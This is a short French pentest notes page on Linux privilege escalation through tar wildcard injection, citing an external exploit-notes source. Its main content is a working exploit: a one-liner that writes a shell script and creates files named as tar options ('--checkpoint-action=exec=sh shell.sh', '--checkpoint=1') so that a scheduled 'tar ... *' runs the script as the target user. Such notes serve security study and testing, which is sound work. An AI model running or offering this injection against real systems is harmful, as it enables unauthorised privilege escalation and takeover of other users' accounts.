[Privesc/Linux] Tar wildcard

Introduction

Cette technique peut fonctionner si la commande **tar** est exécutée en tant que l'utilisateur ciblé pour l'escalade et qu'elle utilise l'option * (*wildcard*) pour compresser tous les fichiers du répertoire sélectionné.

Source

- https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/tar-wildcard-injection-privesc/

Exploit

Exemple de commande **tar** vulnérable (souvent dans un script lancé par l'utilisateur cible) :

```
tar -cf example.tar *
```

Lancer cette commande :

```
echo -e '#!/bin/bash\n/bin/bash' > shell.sh && echo "" > "--checkpoint-action=exec=sh shell.sh" && echo "" > --checkpoint=1
```

Puis démarrez le script.

Revision #2
Created 31 October 2023 14:35:19 by Elieroc
Updated 3 May 2024 13:31:00 by Elieroc